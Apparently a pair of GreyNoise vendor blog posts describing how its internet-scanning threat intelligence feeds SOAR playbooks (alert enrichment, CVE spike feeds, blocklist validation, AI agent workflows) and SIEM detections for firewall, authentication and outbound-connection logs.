I spend a lot of my time in SOAR consoles with security teams, and the same pattern shows up almost every time. The automation is already there. Playbooks fire, tickets open, enrichment runs. However, the decisions underneath are still shaky. Automation moves fast; it doesn't move smart on its own. A playbook that auto-routes a case is only as good as the context it routes on.
That's the gap GreyNoise fills. We don't replace your SOAR or your SIEM, we feed them. We tell your playbooks what not to worry about so the team can spend its hours on the activity that's actually aimed at them. Here are the five integrations I walk through in nearly every deployment.
This is where almost everyone starts, and for good reason. Most SOCs still have analysts manually looking up IPs to determine whether an alert matters. The process is slow, repetitive, and often leads to inconsistent triage decisions.
We drop a /v3/ip lookup into the front of the playbook (single lookups or bulk, up to 10K at a time) so every alert gets enriched automatically with classification, tags, and threat level. Then you build your routing rules on top of that. The enrichment writes straight back to the case so the analyst sees the reasoning, not just the verdict.
The payoff is what teams care about most: faster response times, more consistent triage decisions, and a 40–60% reduction in alert volume once routine internet noise is identified and filtered.
Individual organizations often don’t see global exploitation spikes targeting their vendors until it’s too late. A surge in scanning or exploitation against a particular vendor's CVE can be an early sign of a zero-day or novel attack, but those patterns are difficult to detect when you're only looking at activity inside your own environment. By the time you hear about it after the vendor publishes an advisory, it may already be too late.
GreyNoise Event Feeds push an alert into SOAR the moment scanning or exploitation activity against your vendors' CVEs spikes. The playbook takes it from there: assess benign versus malicious activity, enrich with CVE and IP context, open a case, create a VM ticket, update blocklists, and notify the team in ChatOps.
The outcome is simple: detect rising exploitation activity days before vendors announce new vulnerabilities, patch and harden before attacks become widespread, and automatically separate real threats from benign scanning activity.
This one resonates with anyone who's been burned by a compromised firewall or VPN appliance. You can't run EDR on those boxes, so when one gets popped and starts scanning the internet or calling home to attacker-controlled C2 infrastructure, you typically don't find out until blacklisted or it’s reported by an external party.
We run two feeds into the SOAR for this. First, a webhook fires when GreyNoise observes your IP ranges conducting unsolicited scanning, a strong signal something behind that address is compromised. Second, a callback IP feed alerts whenever we detect a new attacker callback destination, which the SOAR correlates against your outbound traffic. Either one triggers automatic case creation and a containment ticket. That means catching compromise before it leads to reputation damage, responding automatically in seconds, and keeping persistent issues tied together in a single case timeline.
Every team wants to automate blocklist updates. Almost none of them fully trust the automation, because the nightmare scenario is auto-blocking a business-critical IP and taking down a legitimate service during business hours.
The fix is a validation step. Before an IP gets added to the blocklist, the playbook checks it against GreyNoise business services intelligence. If the IP is tied to a known business service, it routes to a human for manual review. If it's not, the block proceeds automatically. You get fast response to likely-malicious IPs without the over-blocking risk that keeps people from turning automation on in the first place.
The result is greater confidence in automated blocklist updates, reduced over-blocking risk, and faster response to likely malicious IPs. When I show this to a hesitant team, it's usually the thing that unblocks their whole automation roadmap.
Most of the teams I work with are building agentic workflows now, and they keep running into the same wall: an agent is only as good as the context it can reach. Point it at incomplete or low-confidence data and you get confident-sounding nonsense.
GreyNoise plugs into those workflows through APIs, skills, or MCPs, so an agent investigating an alert can pull high-quality threat intelligence directly into its reasoning before it acts. The agent receives a trigger, queries GreyNoise, analyzes the context, and either returns an answer or kicks off a response workflow. This is grounded in observed attacker behavior rather than guesswork.
It's still early days for a lot of these deployments, but the teams seeing the most success are treating threat intelligence as a core input to the agent, not something bolted on afterward. The result is faster, more confident investigation and response grounded in high-quality threat intelligence.
Which alerts deserve attention? Which CVEs are actively being exploited? Which IPs are worth blocking? Which signals point to a compromised device?
The reason these workflows work is because they're all built on the same foundation: real observations from across the internet. GreyNoise continuously watches scan and attack activity through our global sensor network, so when a playbook makes a decision, it's based on what an IP is actually doing in the wild, not just what it happened to do in your environment.
That's what gives teams the confidence to automate. Route an alert. Open a case. Block an IP. Escalate an investigation. The decision is backed by observed behavior, not a hunch.
I tell teams all the time that automation isn't the hard part anymore. Most organizations already have playbooks that can move fast. The challenge is making sure they're making the right decisions when they do.
If your SOAR is great at taking action but you're still questioning the inputs behind those actions, these are the first five workflows I'd look at. Explore our SOAR integrations >
Want to see any of these wired up live? Book a demo >
Every organization connected to the internet faces the same background noise: automated exploitation attempts, vulnerability scanning, and credential abuse hitting the perimeter around the clock. The hard part isn't seeing the traffic, it's answering three questions fast enough to matter. What's hitting us? What's getting through? And what's already talking to adversary infrastructure?
GreyNoise continuously observes scan and attack activity across the internet, classifies the source IPs by behavior, and delivers that intelligence into your SIEM. The point isn't more data. It's separating the opportunistic noise, the stuff hitting everyone, from activity that might actually be aimed at you. Here are four ways SOC teams are putting that distinction to work.
Detections on perimeter scans and attacks are noisy by nature. Most alerts off edge devices aren't real threats, so they get ignored or suppressed. The alerts worth investigating are in there but they're just buried under scanning noise that hides anything resembling a targeted threat.
Filter your firewall and WAF logs down to inbound internet traffic, then match source IPs against GreyNoise and exclude the known mass scanners. Prioritize what's left by source-IP volume. Stripping out opportunistic scanning means analysts triage far fewer events, and the detection logic that remains has room to surface traffic more likely to represent targeted reconnaissance or attack activity.
Fewer alerts, better signal-to-noise. Every remaining alert comes from an IP GreyNoise has never observed scanning the internet, which is a much stronger indicator of potential targeted reconnaissance.
Perimeter gaps go unnoticed because nothing validates whether traffic that was allowed through should have been. Without external intelligence, traffic that passes through the firewall may not receive additional scrutiny, even when the source IP has a documented history of malicious activity.
Correlate firewall and WAF allow logs against GreyNoise intelligence. Filter to inbound allowed events, match the source IPs against GreyNoise, and surface the malicious and suspicious matches, prioritized by source-IP volume. That tells you when something you let in originated from a host observed conducting mass scanning or exploitation.
A list of sessions where known-malicious or suspicious IPs were permitted through your perimeter. Each match is two things at once: a session worth investigating, and a firewall or WAF rule worth re-evaluating.
Authentication failures and brute-force attempts from the internet are constant for any perimeter device. The trouble is telling opportunistic account access apart from attempts aimed specifically at your organization. Hosts running mass scans or operating as part of botnet or proxy infrastructure authenticate to VPNs and identity providers all the time, and standard detection logic doesn't flag it.
Correlate VPN and identity-provider authentication logs with GreyNoise. Filter to authentication events, match source IPs against GreyNoise, include the not-spoofable matches, and prioritize by source-IP volume. That surfaces auth attempts coming from hosts already observed scanning the internet, early enough to intervene on both successful and failed attempts.
A successful auth from a GreyNoise-flagged IP is an immediate, high-priority alert. Failed attempts from flagged IPs are worth a look too, as they can indicate active targeting of your identity infrastructure rather than random background noise.
Outbound connection volume is so high that alerting on or investigating anomalous connections individually is impractical, so connections from internal infrastructure to known-malicious systems slip by. Most threat intel feeds don't help here either because they lack the real-time behavioral data needed to tell which outbound connections actually warrant a look.
Internal hosts reaching out to malicious infrastructure is a clear sign of compromise. Take outbound network and EDR logs, filter to public connections that egress allowed, match destination IPs against GreyNoise, and surface the malicious matches, prioritized by internal source-IP volume. When an internal host lights up here, the correlation points at a possible indicator of compromise - C2 beaconing, data exfiltration, or botnet participation.
Any successful outbound connection to GreyNoise-classified malicious infrastructure warrants immediate investigation of the internal host for indicators of compromise.
Stacked together, these four detections move the needle on the things that security teams actually care about:
None of this replaces the tooling you already run. GreyNoise is the context layer that makes your firewall, WAF, identity provider, EDR, and SIEM better at separating the internet's constant background noise from the activity worth your analysts' time.
Want to start deploying these detections? Talk to our team >
Please update your search term or select a different category and try again.
